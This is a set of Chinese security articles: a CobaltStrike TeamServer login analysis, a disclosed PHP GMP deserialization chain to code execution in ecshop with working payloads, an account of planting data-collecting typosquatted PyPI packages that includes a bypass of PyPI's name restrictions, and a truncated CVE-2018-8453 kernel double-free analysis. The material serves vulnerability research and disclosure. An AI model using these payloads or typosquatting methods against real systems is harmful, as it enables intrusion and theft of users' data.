先统一一下后续文章所提到的一些名词，以确保大家都在聊同一个东西，文中将 CobaltStrike 分为
Controller、TeamServer、Beacon 三端，本文所描述的是 TeamServer 启动之后，从 Controller 登陆
TeamServer 的流程分析。
# 0x01 密码校验
启动 TeamServer 后，会创建 SecureServerSocket 对象并且循环调用 acceptAndAuthenticate 方法等待
Controller 连接
在接收到信息并验证成功以后，才会去调用 clientAuthenticated 方法来线程执行 ManageUser 以处理与 Controller 的信息
当 Controller 在点击 Connect 按钮时，会调用 Connect 中的 dialogAction 方法，会先创建 SecureSocket
对象，并调用 authenticate 方法进行验证
在创建 SecureSocket 对象时，会与 TeamServer 进行握手等操作，TeamServer 会进入
SecureServerSocket.this.authenticate 方法进行验证，此时会一直在 var4.readInt() 阻塞，直到
Controller 将信息发完
接着来看 Controller 的处理，在 authenticate 中，进行了数据包的构造，先写入一个标志
48879（int），接着是密码的长度（byte），然后是密码，之后用 65 来进行填充
密码长度加填充长度，不超过 256，再加上标识位和密码长度，256+5=261
接着在 flush 之后，TeamServer 就开始验证了，判断标志位是否正确，读取密码，读填充字符
对比密码，如果正确，写回标志位 51966
在 Controller 这边同样也会进行验证
密码校验到此也就结束了
# 0x02 aggressor.authenticate
接着，TeamServer 创建 Socket，并创建 ManageUser 来处理 Controller 发送的信息
Controller 创建 TeamQueue 来进行后续操作，TeamQueue 是用来处理与 TeamServer 的通讯的
在 TeamQueue 的构造函数中，创建了两个线程分别来跑 TeamQueue 的内部类 TeamReader 和 TeamWriter，用来与
TeamServer 进行通信
接着，当前线程调用 call 向 TeamServer 发送 aggressor.authenticate，并将 user、pass、版本号组成对象传递过去
在调用 call 中，最关键的就是 addRequest，它将构造好的 Request 对象存放到 LinkedList 当中
因为此时专门有一个线程 TeamWriter 一直在从 LinkedList 中取值发送，所以在添加完之后，这个信息就会被发送到 TeamServer 中
在 TeamServer 中，是由 ManageUser 一直循环等待 Controller 发送到请求的，在上面发送完成后，TeamServer
也就接收到请求了
进入 process 来处理请求，通过对比任务类型，来决定实际执行的内容
接着对 版本、密码进行校验
全部验证成功后，返回 SUCESS
接着会起一个线程，ManageUser 的内部类 BroadcastWriter
此时 Controller 由 TeamReader 接收到信息
这里接受的是 Reply，发送的时候是 Request，这两个类基本是一样的，可能是用来区分数据包的
在请求的时候填入的 callback，也是在这个时候使用的，在之前 call 的时候，将一个 callback 值与这个对象做
Map，在这个时候取出来用于去调用对应类中的 result 方法
在判断返回值是 SUCCESS 之后，接着又发送了 aggressor.metadata
# 0x03 aggressor.metadata
调用 call 与之前一样，此时传入的参数是当前的时间戳
TeamServer 中的 ManageUser 接到消息后，继续走 process 处理
做了一堆 Map，然后将信息传回给 Controller
Controller 的 TeamReader 接收到回传信息
到 Connect 处理 aggressor.metadata
在进入 AggressorClient 以后，调用 setup 方法，处理与界面相关内容，最后向 TeamServer 发送了
aggressor.ready 表示完成
TeamServer 在 ManageUser 中接到数据以后，process 进行处理，接下来的任务就是处理数据同步
# 0x04 数据同步
在 register 中，会先将 user 与对应的 manageUser 存储到 Map 当中，接着调用 playback 来处理同步的工作
在 playback 会计算 this.transcripts 与 this.replayme 的总大小，然后进行发送
send 的时候，就用到了前面所创建的 Map，通过名字取出相应的 ManageUser
之后也就是发送的常用流程，将信息打包成 Reply 或 Request 然后发送
Controller 会在 TeamReader 中接到消息，因为 callback 是 0，所以会走走 else 当中处理，调用 DataManager
的 result 方法来进行处理
用于判断 sent 与 total 是否相等，来明确是否已经完成
接着遍历并调用对应的 result 方法
继续回到 TeamServer ，接下来当前线程会来遍历 this.transcripts 和 this.replayme，并将信息 send 到
Controller，由于这里 this.transcripts 为空，就直接看 this.replayme
先把其中所对应的值都取出来，修改了当前的 message 信息以后，先将 playback.status 包发回，然后再将取出来的 Key、Value
发回，最后将 send 加一，用于 Controller 中对比 send 与 total 值
当回信息时，Controller 判断是 Data，所以进入了另外的分支，由于不是 ChangeLog 类型的内容，存储到 Map 后就直接结束了
之后再调用 将当前用户信息提供给 Controller
在 TeamServer 继续执行调用的时候，也是调用的 broadcast 来同步 eventlog
之后也就进入到了常态化的，接 Controller 的 aggressor.ping，和 BroadcastWriter 回写 Beacons 信息
# 0x05 流程图
# 0x06 参考文章
快乐鸡哥：<https://bbs.pediy.com/thread-267208.htm>
WBGlIl：<https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-2>
[文章首发公众号平台](https://mp.weixin.qq.com/s/p5BMxBHi4_wTMsIAvI4l9g) | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2020年3月31日
English Version: <https://paper.seebug.org/1268>**
本文初完成于2020年3月31日，由于涉及到0day利用，所以于2020年3月31日报告厂商、CNVD漏洞平台，满足90天漏洞披露期，遂公开。
* * *
前几天偶然看到了一篇在Hackerone上提交的漏洞报告，在这个漏洞中，漏洞发现者提出了很有趣的利用，作者利用GMP的一个类型混淆漏洞，配合相应的利用链可以构造mybb的一次代码执行，这里我们就一起来看看这个漏洞。
<https://hackerone.com/reports/198734>
以下文章部分细节，感谢漏洞发现者@taoguangchen的帮助。
### GMP类型混淆漏洞
* <https://bugs.php.net/bug.php?id=70513>
#### 漏洞利用条件
* php 5.6.x
* 反序列化入口点
* 可以触发__wakeup的触发点（在php < 5.6.11以下，可以使用内置类）
#### 漏洞详情
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
`zend_object_handlers.c`
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
`__wakeup`等魔术方法可以导致ZVAL在内存中被修改。因此，攻击者可以将**object转化为整数型或者bool型的ZVAL，那么我们就可以通过`Z_OBJ_P`访问存储在对象储存中的任何对象，这也就意味着可以通过`zend_hash_copy`覆盖任何对象中的属性，这可能导致很多问题，在一定场景下也可以导致安全问题。
或许仅凭借代码片段没办法理解上述的话，但我们可以用实际测试来看看。
首先我们来看一段测试代码
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
class b{
var $ryat =1;
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$obj2 = new b;
$obj3 = new stdClass;
$obj3->aa =2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
$obj4 = new stdClass;
var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);
?>
在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么？
array(1) {
[0]=>
&int(1)
}
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(1)
}
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢？
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';
很显然的是，并不会影响到其他的类变量
array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}
如果我们给class b加一个`__Wakeup`函数，那么又会产生一样的效果。
但如果我们把wakeup魔术方法中的变量设置为2
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 2;
}
}
返回的结果可以看出来，我们成功修改了第二个声明的对象。
array(1) {
[0]=>
&int(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}
但如果我们把ryat改为4，那么页面会直接返回500，因为我们修改了没有分配的对象空间。
在完成前面的试验后，我们可以把漏洞的利用条件简化一下。
如果我们有一个可控的 **反序列化入口** ，目标 **后端PHP安装了GMP插件**
（这个插件在原版php中不是默认安装的，但部分打包环境中会自带），如果我们找到一个
**可控的`__wakeup`魔术方法**，我们就可以修改反序列化前声明的对象属性，并配合场景产生实际的安全问题。
如果目标的php版本在5.6 <= 5.6.11中，我们可以直接使用内置的魔术方法来触发这个漏洞。
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
### 真实世界案例
在讨论完GMP类型混淆漏洞之后，我们必须要讨论一下这个漏洞在真实场景下的利用方式。
漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。
<https://hackerone.com/reports/198734>
这里我们不继续讨论这个漏洞，而是从头讨论一下在ecshop中的利用方式。
#### 漏洞环境
* ecshop 4.0.7
* php 5.6.9
#### 反序列化漏洞
首先我们需要找到一个反序列化入口点，这里我们可以全局搜索`unserialize`，挨个看一下我们可以找到两个可控的反序列化入口。
其中一个是search.php line 45
...
{
$string = base64_decode(trim($_GET['encode']));
if ($string !== false)
{
$string = unserialize($string);
if ($string !== false)
...
这是一个前台的入口，但可惜的是引入初始化文件在反序列化之后，这也就导致我们没办法找到可以覆盖类变量属性的目标，也就没办法进一步利用。
还有一个是admin/order.php line 229
/* 取得上一个、下一个订单号 */
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
...
后台的表单页的这个功能就满足我们的要求了，不但可控，还可以用urlencode来绕过ecshop对全局变量的过滤。
这样一来我们就找到了一个可控并且合适的反序列化入口点。
#### 寻找合适的类属性利用链
在寻找利用链之前，我们可以用
get_declared_classes()
来确定在反序列化时，已经声明定义过的类。
在我本地环境下，除了PHP内置类以外我一共找到13个类
[129]=>
string(3) "ECS"
[130]=>
string(9) "ecs_error"
[131]=>
string(8) "exchange"
[132]=>
string(9) "cls_mysql"
[133]=>
string(11) "cls_session"
[134]=>
string(12) "cls_template"
[135]=>
string(11) "certificate"
[136]=>
string(6) "oauth2"
[137]=>
string(15) "oauth2_response"
[138]=>
string(14) "oauth2_request"
[139]=>
string(9) "transport"
[140]=>
string(6) "matrix"
[141]=>
string(16) "leancloud_client"
从代码中也可以看到在文件头引入了多个库文件
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');
这里我们主要关注init.php，因为在这个文件中声明了ecshop的大部分通用类。
在逐个看这里面的类变量时，我们可以敏锐的看到一个特殊的变量，由于ecshop的后台结构特殊，页面内容大多都是由模板编译而成，而这个模板类恰好也在init.php中声明
require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;
回到order.php中我们寻找与`$smarty`相关的方法，不难发现，主要集中在两个方法中
...
$smarty->assign('shipping', $shipping);
$smarty->display('print.htm');
...
而这里我们主要把视角集中在display方法上。
粗略的浏览下display方法的逻辑大致是
请求相应的模板文件
-->
经过一系列判断，将相应的模板文件做相应的编译
-->
输出编译后的文件地址
比较重要的代码会在`make_compiled`这个函数中被定义
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
...
if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}
$source = $this->_eval($source);
}
return $source;
}
当流程走到这一步的时候，我们需要先找到我们的目标是什么？
重新审视`cls_template.php`的代码，我们可以发现涉及到代码执行的只有几个函数。
function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
{
$pa = $this->str_trim($val);
foreach ($pa AS $value)
{
if (strrpos($value, '='))
{
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
if ($b{0} == '$')
{
if ($type)
{
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
}
else
{
$para[$a] = $this->get_val(substr($b, 1));
}
}
else
{
$para[$a] = $b;
}
}
}
return $para;
}
get_para只在select中调用，但是没找到能触发select的地方。
然后是pop_vars
function pop_vars()
{
$key = array_pop($this->_temp_key);
$val = array_pop($this->_temp_val);
if (!empty($key))
{
eval($key);
}
}
恰好配合GMP我们可以控制`$this->_temp_key`变量，所以我们只要能在上面的流程中找到任意地方调用这个方法，我们就可以配合变量覆盖构造一个代码执行。
在回看刚才的代码流程时，我们从编译后的PHP文件中找到了这样的代码
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
在遍历完表单之后，正好会触发`pop_vars`。
这样一来，只要我们控制覆盖`cls_template`变量的`_temp_key`属性，我们就可以完成一次getshell
#### 最终利用效果
### Timeline
* 2020.03.31 发现漏洞。
* 2020.03.31 将漏洞报送厂商、CVE、CNVD等。
* 2020.07.08 符合90天漏洞披露期，公开细节。
* * * | 社区文章 |
# 【技术分享】Python 第三方Package“钓鱼”过程分享
|
##### 译文声明
本文是翻译文章，文章来源：fatezero.org
原文地址：<http://blog.fatezero.org/2017/06/01/package-fishing/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x00 前言**
前几天 Samba 公开了一个远程代码执行的漏洞，然后各种 POC 也随之出现， exploit-db 上也有这样一个 Python 版本的 [**POC:
Samba 3.5.0 – Remote Code Execution**](https://www.exploit-db.com/exploits/42060/).
直接执行 POC，报错误信息：
这种情况非常简单，直接 pip install smb 就行，但是：
好吧，我们还是需要 Google 一下这个 smb 的 package 名字，最后发现原来是 pysmb：
最后 POC 终于跑了起来.
我们再回过头来看看整个流程，似乎并没有什么地方不对劲。
直接说问题所在吧，如果你在 2017-05-24 到 2017-05-31 这段时间内执行过 pip install smb 或者 pip download
smb， 那么恭喜你，你的名字可能出现在我的绵羊墙上。
**0x01 试水 (2017-05-23 19:00)**
第一天，我在 PyPI 上投放了 4 个 evil package: python-dev、mongodb、proxy、shadowsock 测试一下不检查
package、随意安装 package 的人有多少。
其中所有的内容都是用 cookiecutter 根据模版 cookiecutter-evilpy-package 生成。
每个 package 都会收集用户的
username
hostname
ip
hostinfo
我选择了 GitHub Issues + webtask.io 的方式，将安装 evil package 的用户信息通过 webtask.io 中转到
GitHub Issues 上对外公开。
所以我就在 Github 上注册了个小马甲 evilpackage 专门提交 Issue。
因为 webtask.io 获取客户端 ip 的时候，其实获取到的是 webtask.io 前面 nginx 的 ip 地址，并不是用户的
ip，所以就只能在代码里面获取客户端的外网 ip. 使用 webtask.io 和 GitHub Issues 的主要原因是这两都是免费的。
**0x02 增加投放 package (2017-05-24 19:00)**
查看了一天的 Issues 数量，大概有 700+，效果非常不错，决定继续投放 evil package。 与此同时，@ztz 同学也加入了游戏，也在
RubyGems 上投放 Gems。
继续投放 evil package，就必须想一些比较好的名字，我主要使用下面两种方法:
**1.Google 搜索提示框**
直接根据 Google 的搜索框提示:
便收集到了没有在 PyPI 上注册，而且比较流行的 Package 名字:
caffe
ffmpeg
git
mkl
opencl
opencv
openssl
pygpu
tkinter
vtk
proxy
**2. 想象力**
依据平时写代码的经验总结出下面可能觉得会常用，但并没有在 PyPI 上注册的 Package 名字:
ftp
smb
hbase
samba
rabbitmq
zookeeper
phantomjs
memcached
requirement.txt
requirements.txt
其中 requirements.txt 并没有注册成功，稍后再说。
**0x03 暂停服务 (2017-05-25 23:00)**
晚上回家的时候又统计了一下安装量，一天安装量达到了 2000+，效果已经很显著，不必再增加新的 package 了，但是到了晚上 23:00 的时候， 我的
GitHub Issues 被恶意插入脏数据，所以只能暂停服务：
之所以只能暂停服务，那是因为 webtask.io 没法获取客户端 ip，我也没法 ban 掉对应的 ip，作出任何相对的处理，只能停服务。
话说到底谁才是攻击者。
**0x04 evilpackage 被封 (2017-05-26 2:00)**
我专门提交 Issue 的小马甲 evilpackage 因为触发了 GitHub 对 Spam 的检测，所以被封号了。
早上起床看到消息后，立马写邮件申诉，直到 2017-05-26 13:00 终于回复我的邮件了：
**0x05 放弃 webtask.io (2017-05-26 19:00)**
为了避免和之前一样被恶意插入脏数据，决定要放弃 webtask.io，每月花费 $10 巨款购入一台 vps。
使用 nginx + flask 的配置，继续将 user data 提交到 GitHub Issues 上。
nginx 的 ngx_http_limit_req_module 模块最大能够支持 1s/m，也就是最多可以限制每个 ip 在每分钟内最多请求一次，
所以我们必须修改 ngx_http_limit_req_module 模块代码
// src/http/modules/ngx_http_limit_req_module.c
if (ngx_strncmp(value[i].data, "rate=", 5) == 0) {
len = value[i].len;
p = value[i].data + len - 3;
if (ngx_strncmp(p, "r/s", 3) == 0) {
scale = 1;
len -= 3;
} else if (ngx_strncmp(p, "r/m", 3) == 0) {
scale = 60;
len -= 3;
} else if (ngx_strncmp(p, "wtf", 3) == 0) {
scale = 1000;
len -= 3;
}
增加一个 else if block，直接将 scale 增加到 1000，这样就能限制每个 ip 在 16 min 内只能访问一次我们的接口，
除非使用大量代理，不然很难在短时间内插入大量脏数据。
**0x06 repo 被封 (2017-05-27 3:00)**
早上起床刷新一下 GitHub Issues 页面，结果发现：
邮件：
赶紧先上服务器加上一行代码，将用户上传的数据先暂时存在本地（之前太懒）。 然后马上回邮件，问情况，两天后：
解封无望，之前的数据大概就是没了。
目前还能通过 GitHub Search 找到以前的部分数据 [GitHub
Issue](https://github.com/search?l=&q=repo%3Afate0%2Fcookiecutter-evil-pypackage&ref=advsearch&type=Issues&utf8=%E2%9C%93)
**0x07 写 web 界面 (2017-05-30 19:00)**
由于之前一直在忙，最后拖到了30号才开始写 web 展示界面 <http://evilpackage.fatezero.org/>
也准备好新的 cookiecutter 模版 [cookiecutter-evilpy-package](https://github.com/fate0/cookiecutter-evilpy-package/commit/b1a968407b1a94b17298af969727848ad1325cae)
新的 cookiecutter 模版会提示用户安装了 evilpackage，并打开用户的浏览器去访问
[http://evilpackage.fatezero.org/](http://evilpackage.fatezero.org/)
，让用户知道，自己已经是绵羊墙上的一员了。
计划打算第二天再往 PyPI 上提交新版本的 Package。
0x08 清空 (2017-05-31):
早上查找资料的时候发现，原来已经有好几批人干过和我一样类似的事情了
2013-06-06: [requestes 0.0.1](https://pypi.python.org/pypi/requestes)
2016-01-25: [requirements-dev
1.0.0](https://pypi.python.org/pypi/requirements-dev/1.0.0)
2016-03-17: [Typosquatting in Programming Language Package
Managers](http://incolumitas.com/data/thesis.pdf)
前两批都只是上传一个 package 用来提示安装用户，也防止恶意用户使用这些 package 名字，
后面一个小哥和我一样收集了用户不太敏感的信息，只不过他的数据一直没有公开。
过了一会 [@ztz](http://weibo.com/u/1260091985) 同学告诉我他的 RubyGems 被清空了。
再过了一会我这边也被 PyPI 管理员警告要删除账号了，所以我就把所有的 Package 给删除了，账号也给删除了。
目前为止所有的 package 又回到了 unregister 的状态, 任何人都可以继续注册使用我之前注册的 package.
**0x09 数据统计**
目前我只能对在 <http://evilpackage.fatezero.org/> 上那 10685 条数据进行统计
从 2017-05-27 10:38:03 到 2017-05-31 18:24:07，总计 106 个小时内， 有 9726 不重复的 ip 安装了
evil package，平均每个小时有 91 个 ip 安装了 evil package。
每个 package 命中排名:
2862 opencv
2834 tkinter
810 mkl
789 python-dev
713 git
683 openssl
535 caffe
328 ffmpeg
224 phantomjs
200 smb
191 vtk
179 pygpu
113 mongodb
70 requirement.txt
56 memcached
31 rabbitmq
15 ftp
14 shadowsock
12 samba
10 proxy
10 hbase
5 zookeeper
前 50 个国家命中排名
2507 United States
1667 China
772 India
481 Germany
448 Japan
331 France
319 Republic of Korea
306 United Kingdom
305 Russia
297 Canada
225 Brazil
183 Australia
179 Netherlands
167 Poland
147 Taiwan
129 Italy
127 Israel
126 Spain
106 Singapore
103 Ukraine
89 Hong Kong
87 Switzerland
76 Sweden
74 Turkey
60 Ireland
57 Vietnam
57 Iran
54 Belgium
53 Finland
52 Austria
49 Pakistan
49 Indonesia
47 Argentina
43 New Zealand
42 Mexico
41 Romania
40 Thailand
37 Norway
37 Czechia
31 South Africa
31 Denmark
31 Colombia
29 Portugal
29 Greece
29 Chile
24 Philippines
23 Malaysia
20 Hungary
20 Belarus
19 Nepal
每个访问排名
28 114.255.40.3
25 46.105.249.70
16 54.84.16.79
16 54.237.234.187
16 54.157.41.7
16 54.145.106.255
16 52.90.178.211
13 34.198.151.69
12 52.221.7.193
11 54.235.37.25
10 34.224.47.129
9 172.56.26.43
7 94.153.230.50
7 80.239.169.204
7 73.78.62.6
7 54.87.185.66
7 52.207.13.234
7 113.140.11.125
6 52.55.104.10
6 24.108.0.220
光从这几天来看，在 PyPI 上投放 evilpackage 的效果还是非常不错的， 每天都会有大概 2200+ 个独立 ip
进行访问，数据量稍微比之前那位小哥好一点， 也就是说，即便是类似的文章发出来，过了一年之后，随意安装 package 的这种情况完全没有改善，可能更严重了。
那位小哥释放掉所有的 package 之后，我作为一个 “恶意者” 再次使用他之前使用的 git、openssl 名字来统计数据， 我作为一个
“恶意者”，被官方勒令删除所有的 package，这些 package 名字再次被释放，我比较好奇下一位 “恶意者” 会是谁， 会在 package
里放什么？会是和我一样收集数据，还是直接 rm -rf /，还是勒索。拭目以待。
**0x10 requirements.txt**
一般经常使用 Python 的人都知道 requirements.txt 是整个项目的依赖文件，一般这样使用：
pip install -r requirements.txt
不过也有可能一时手速过快，敲打成
pip install requirements.txt
所以 requirements.txt 也是一个比较好的 evil package 的名字
**诡异的 requirements.txt**
在 2017-05-24 19:00 晚上，我尝试在 PyPI 注册上传 requirements.txt 的时候：
嗯，都失败了，但是 [GitHub
Issues](https://github.com/search?utf8=%E2%9C%93&q=repo%3Afate0%2Fcookiecutter-evil-pypackage+requirements.txt&type=Issues) 上竟然会有 153 个和 requirements.txt 相关的
Issues：
我并不怀疑这些 requirements.txt 数据的真实性，因为就没有人知道我尝试上传过 requirements.txt，所以这些数据肯定是真实的。
PyPI 上也并不存在 requirements.txt 信息，本地尝试安装也失败了，至今仍未明白这种情况为何发生。
**绕过 PyPI requirements.txt 的限制**
在 PyPI 账号被删除之后，我还是对 requirements.txt 很好奇，为什么之前 GitHub 上会有记录？ 能不能绕过 PyPI
的限制？下面简单讲一下如何绕过 PyPI 的限制。
我们直接查看提交 Package 时，PyPI 对 Package 名字限制的地方：
# from: https://github.com/pypa/pypi-legacy/blob/master/webui.py#L2429
@must_tls
def submit_pkg_info(self):
# ...
# ...
name = data['name']
version = data['version']
if name.lower() in ('requirements.txt', 'rrequirements.txt',
'requirements-txt', 'rrequirements-txt'):
raise Forbidden, "Package name '%s' invalid" % name
通过上面的代码，我们可以看到 PyPI 直接硬编码 'requirements.txt', 'rrequirements.txt',
'requirements-txt', 'rrequirements-txt' 禁止用户上传这些文件。
我们再看看 pip install xxx 的时候，PyPI 是怎么查找 Package 的：
# from: https://github.com/pypa/pypi-legacy/blob/master/store.py#L611
def find_package(self, name):
'''Return names of packages that differ from name only in case.'''
cursor = self.get_cursor()
sql = 'select name from packages where normalize_pep426_name(name)=normalize_pep426_name(%s)'
safe_execute(cursor, sql, (name, ))
return [r[0] for r in cursor.fetchall()]
好吧，直接查找数据库，我们再跟下来看 normalize_pep426_name：
# from: https://github.com/pypa/warehouse/blob/master/warehouse/migrations/versions/3af8d0006ba_normalize_runs_of_characters_to_a_.py#L27
def upgrade():
op.execute(
""" CREATE OR REPLACE FUNCTION normalize_pep426_name(text)
RETURNS text AS
$$
SELECT lower(regexp_replace($1, '(.|_|-)+', '-', 'ig'))
$$
LANGUAGE SQL
IMMUTABLE
RETURNS NULL ON NULL INPUT;
"""
)
op.execute("REINDEX INDEX project_name_pep426_normalized")
看到中间那个正则了吧，这也就意味着
pip install youtube-dl
pip install youtube_dl
pip install youtube.dl
pip install youtube-_-dl
pip install youtube.-.dl
这几条命令其实都是等价的，都是在安装 youtube_dl, 那么我们就可以很容易的就绕过 PyPI 的限制， 直接上传一个
requiremnets–txt：
twine register dist/requirements--txt-0.1.0.tar.gz
twine upload dist/requirements--txt-0.1.0.tar.gz
来来来，我们直接尝试 pip install requirements.txt：
通过上面的图，我们可以看到 PyPI 已经返回我们的 package url， 到了 pip 准备安装这个 package 的时候报错了，所以直接看 pip
代码：
# https://github.com/pypa/pip/blob/master/pip/index.py#L650
if not version:
version = egg_info_matches(egg_info, search.supplied, link)
if version is None:
self._log_skipped_link(
link, 'wrong project name (not %s)' % search.supplied)
return
看了代码，也就是没法在 url 中获取 package 的版本号， 因为 package
的名字(requirements–txt)和搜索名字(requirements.txt)对不上，我们得找找其他方法：
# https://github.com/pypa/pip/blob/master/pip/index.py#L626
if ext == wheel_ext:
try:
wheel = Wheel(link.filename)
except InvalidWheelFilename:
self._log_skipped_link(link, 'invalid wheel filename')
return
if canonicalize_name(wheel.name) != search.canonical:
self._log_skipped_link(
link, 'wrong project name (not %s)' % search.supplied)
return
if not wheel.supported(self.valid_tags):
self._log_skipped_link(
link, 'it is not compatible with this Python')
return
version = wheel.version
看到这里，大家应该也知道了，之前我们一直都是使用 source 的方式提交 package，如果我们直接打包成 wheel，
根据上面的代码，就不会再报错了，我们重新打包，再次上传：
终于成功了，当然 wheel 安装方式并不能直接执行命令， 不过我们可以通过给 requirements.txt 添加一个恶意依赖达到执行任意代码的效果。
在这里，我就添加了一个名为 ztz 的 source package，用于提醒安装 requirements.txt 的用户
**0x11 总结**
想做一件坏事情真不容易，快去看看 <http://evilpackage.fatezero.org/> 上面有没有你的名字。 | 社区文章 |
CVE-2018-8453是一种UAF类型的漏洞，漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放，导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷，可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数，从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double
Free。
# 配置漏洞触发环境
[+] win10 x64 1709
[+] windbg preview 1.0.2001.02001
# BSOD分析
首先，我们将poc放入虚拟机中并运行，触发崩溃之后转到windbg中。先查看漏洞成因
程序试图释放一块已经释放了的pool，说明这是一个经典的Double Free漏洞。看一下这个pool的属性
这是一个0x80大小的session pool，划重点，这里后面要用到的。接着看一下调用关系
静态分析可知，win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是传递参数的工具人，将win32kfull!xxxSBTrackInit传入的参数传递给nt!ExFreePoolWithTag函数，所以我们还需要接着分析win32kfull!xxxSBTrackInit函数。
win32kfull!xxxSBTrackInit函数实现滚动条的鼠标跟随，当用户在一个滚动条按下左键（左键也是重点，后面会用）时，系统就会产生一个SBTrack结构保存用户鼠标的当前位置；用户松开鼠标时，系统会释放SBTrack结构。具体细节我们可以通过
Windows 2000 的源码来深入了解：
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
return;
pSBTrack->hTimerSB = 0;
pSBTrack->fHitOld = FALSE;
pSBTrack->xxxpfnSB = xxxTrackBox;
pSBTrack->spwndTrack = NULL;
pSBTrack->spwndSB = NULL;
pSBTrack->spwndSBNotify = NULL;
Lock(&pSBTrack->spwndTrack, pwnd);
PWNDTOPSBTRACK(pwnd) = pSBTrack;
pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
return;
win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保存SBTrack的结构，将其保存在指针pSBTrack中，之后对SBTrack结构进行了一些初始化。
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) {
if (!xxxGetMessage(&msg, NULL, 0, 0)) {
// Note: after xxx, pSBTrack may no longer be valid
break;
}
if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) {
cmd = msg.message;
if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <=
WM_MOUSELAST) || (cmd >= WM_KEYFIRST &&
